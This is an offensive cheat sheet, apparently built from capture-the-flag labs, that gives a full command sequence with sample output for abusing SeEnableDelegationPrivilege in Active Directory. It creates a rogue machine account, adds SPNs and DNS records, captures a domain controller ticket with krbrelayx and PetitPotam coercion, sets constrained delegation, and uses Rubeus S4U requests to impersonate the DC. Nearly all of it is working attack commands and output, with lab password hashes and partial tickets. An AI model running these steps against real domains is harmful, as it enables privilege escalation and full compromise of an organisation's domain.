TLDRBins / SeEnableDelegationPrivilege

. .\Powermad.ps1
Sample Output:
*Evil-WinRM* PS C:\programdata> . .\Powermad.ps1

New-MachineAccount -MachineAccount <NEW_COMPUTER> -Password $(ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force)
Sample Output:
*Evil-WinRM* PS C:\programdata> New-MachineAccount -MachineAccount FakeComputer -Password $(ConvertTo-SecureString 'Test1234' -AsPlainText -Force)
[+] Machine account FakeComputer added

Set-MachineAccountAttribute -MachineAccount <NEW_COMPUTER> -Attribute useraccountcontrol -Value 528384
Sample Output:
*Evil-WinRM* PS C:\programdata> New-MachineAccount -MachineAccount FakeComputer -Password $(ConvertTo-SecureString 'Test1234' -AsPlainText -Force)
[+] Machine account FakeComputer added

Set-MachineAccountAttribute -MachineAccount <NEW_COMPUTER> -Attribute ServicePrincipalName -Value CIFS/<NEW_COMPUTER>.<DOMAIN> -Append
Sample Output:
*Evil-WinRM* PS C:\programdata> Set-MachineAccountAttribute -MachineAccount FakeComputer -Attribute ServicePrincipalName -Value CIFS/FakeComputer.delegate.vl -Append
[+] Machine account FakeComputer attribute ServicePrincipalName appended

Get-MachineAccountAttribute -MachineAccount <NEW_COMPUTER> -Attribute ServicePrincipalName -Verbose
Sample Output:
*Evil-WinRM* PS C:\programdata> Get-MachineAccountAttribute -MachineAccount FakeComputer -Attribute ServicePrincipalName -Verbose
Verbose: [+] Domain Controller = DC1.delegate.vl
Verbose: [+] Domain = delegate.vl
Verbose: [+] Distinguished Name = CN=FakeComputer,CN=Computers,DC=delegate,DC=vl
CIFS/FakeComputer.delegate.vl
RestrictedKrbHost/FakeComputer
HOST/FakeComputer
RestrictedKrbHost/FakeComputer.delegate.vl
HOST/FakeComputer.delegate.vl

python3 dnstool.py -u '<DOMAIN>\<NEW_COMPUTER>$' -p '<NEW_PASSWORD>' -r <NEW_COMPUTER>.delegate.vl -d <LOCAL_IP> --action add <DC> -dns-ip <DC_IP>
Sample Output:
$ python3 dnstool.py -u 'DELEGATE.VL\FakeComputer$' -p 'Test1234' -r FakeComputer.delegate.vl -d 10.8.7.13 --action add DC1.delegate.vl -dns-ip 10.10.113.136
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

iconv -f ASCII -t UTF-16LE <(printf '<NEW_PASSWORD>') | openssl dgst -md4
Sample Output:
$ iconv -f ASCII -t UTF-16LE <(printf 'Test1234') | openssl dgst -md4
MD4(stdin)= b9e0cfceaf6d077970306a2fd88a7c0a

python3 krbrelayx.py -hashes ':<HASH>'
Sample Output:
$ python3 krbrelayx.py -hashes ':b9e0cfceaf6d077970306a2fd88a7c0a'
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server

[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.10.72.178
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache

python3 PetitPotam.py -u '<NEW_COMPUTER>$' -p '<NEW_PASSWORD>' <NEW_COMPUTER>.<DOMAIN> <DC_IP>
Sample Output:
$ python3 PetitPotam.py -u 'FakeComputer$' -p 'Test1234' FakeComputer.delegate.vl 10.10.72.178

              ___            _        _      _        ___            _                     
             | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __   
             |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \  
            _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_| 
          _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
          "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
                                         
              PoC to elicit machine account authentication via some MS-EFSRPC functions
                                      by topotam (@topotam77)
      
                     Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN

Trying pipe lsarpc
[-] Connecting to ncacn_np:10.10.72.178[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

Set-ADAccountPassword -Identity "<TARGET_MACHINE>$" -Reset -NewPassword (ConvertTo-SecureString "<NEW_PASSWORD>" -AsPlainText -Force)
Sample Output:
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> Set-ADAccountPassword -Identity "FS01$" -Reset -NewPassword (ConvertTo-SecureString "Fall2024!" -AsPlainText -Force)

Set-ADObject -Identity "CN=<TARGET_MACHINE>,CN=COMPUTERS,DC=<EXAMPLE>,DC=<COM>" -Add @{"msDS-AllowedToDelegateTo"="<SPN>"}
Sample Output:
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -Add @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}

Set-ADAccountControl -Identity "<TARGET_MACHINE>$" -TrustedToAuthForDelegation $True
Sample Output:
*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True

.\rubeus.exe asktgt /user:<TARGET_MACHINE>$ /password:<NEW_PASSWORD> /domain:<DOMAIN> /nowrap /ptt
Sample Output:
evil-winrm-py PS C:\programdata> .\rubeus.exe asktgt /user:FS01$ /password:Password123! /domain:redelegate.vl /nowrap /ptt

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2B576ACBE6BCFDA7294D6BD18041B8FE
[*] Building AS-REQ (w/ preauth) for: 'redelegate.vl\FS01$'
[*] Using domain controller: 10.129.31.186:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
set1
      doIFYjCCBV6gAwIBBaEDAgEWooIEdzCCBHNhggRvMIIEa6ADAg---[SNIP]---ypIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDXJlZGVsZWdhdGUudmw=
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/redelegate.vl
  ServiceRealm             :  REDELEGATE.VL
  UserName                 :  FS01$ (NT_PRINCIPAL)
  UserRealm                :  REDELEGATE.VL
  StartTime                :  11/1/2025 5:04:27 AM
  EndTime                  :  11/1/2025 3:04:27 PM
  RenewTill                :  11/8/2025 4:04:27 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  l5+tzy6qN7IkOHE3SkGfAQ==
  ASREP (key)              :  2B576ACBE6BCFDA7294D6BD18041B8FE

.\rubeus.exe s4u /ticket:<BASE64_TICKET> /impersonateuser:<DC_HOSTNAME>$ /domain:<DOMAIN> /msdsspn:<SPN> /dc:<DC> /ptt /nowrap
Sample Output:
evil-winrm-py PS C:\programdata> .\rubeus.exe s4u /ticket:doIFYjCCBV6gAwIBBaEDAgEWooIEdzCCBHNhggRvMIIEa6ADAg---[SNIP]---ypIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDXJlZGVsZWdhdGUudmw= /impersonateuser:DC$ /domain:redelegate.vl /msdsspn:ldap/dc.redelegate.vl /dc:dc.redelegate.vl /ptt /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3 

[*] Action: S4U

[*] Action: S4U

[*] Building S4U2self request for: 'FS01$@REDELEGATE.VL'
[*] Using domain controller: dc.redelegate.vl (10.129.31.186)
[*] Sending S4U2self request to 10.129.31.186:88
[+] S4U2self success!
[*] Got a TGS for 'DC$' to 'FS01$@REDELEGATE.VL'
[*] base64(ticket.kirbi):

      doIFgjCCBX6gAwIBBaEDAgEWooIEmTCCBJVhggSRMIIEjaADAg---[SNIP]---8bDVJFREVMRUdBVEUuVkypEjAQoAMCAQGhCTAHGwVGUzAxJA==

[*] Impersonating user 'DC$' to target SPN 'ldap/dc.redelegate.vl'
[*] Building S4U2proxy request for service: 'ldap/dc.redelegate.vl'
[*] Using domain controller: dc.redelegate.vl (10.129.31.186)
[*] Sending S4U2proxy request to domain controller 10.129.31.186:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/dc.redelegate.vl':

      doIGMDCCBiygAwIBBaEDAgEWooIFRjCCBUJhggU+MIIFOqADAg---[SNIP]---MwIaADAgECoRowGBsEbGRhcBsQZGMucmVkZWxlZ2F0ZS52bA==
[+] Ticket successfully imported!

python3 rubeustoccache.py '<BASE64_TGS>' <DC_HOSTNAME>.kirbi <DC_HOSTNAME>.ccache
Sample Output:
$ python3 rubeustoccache.py 'doIGMDCCBiygAwIBBaEDAgEWooIFRjCCBUJhggU+MIIFOqADAg---[SNIP]---MwIaADAgECoRowGBsEbGRhcBsQZGMucmVkZWxlZ2F0ZS52bA==' dc.kirbi dc.ccache
╦═╗┬ ┬┌┐ ┌─┐┬ ┬┌─┐  ┌┬┐┌─┐  ╔═╗┌─┐┌─┐┌─┐┬ ┬┌─┐
╠╦╝│ │├┴┐├┤ │ │└─┐   │ │ │  ║  │  ├─┤│  ├─┤├┤ 
╩╚═└─┘└─┘└─┘└─┘└─┘   ┴ └─┘  ╚═╝└─┘┴ ┴└─┘┴ ┴└─┘
              By Solomon Sklash
          github.com/SolomonSklash
   Inspired by Zer1t0's ticket_converter.py

[*] Writing decoded .kirbi file to dc.kirbi
[*] Writing converted .ccache file to dc.ccache
[*] All done! Don't forget to set your environment variable: export KRB5CCNAME=dc.ccache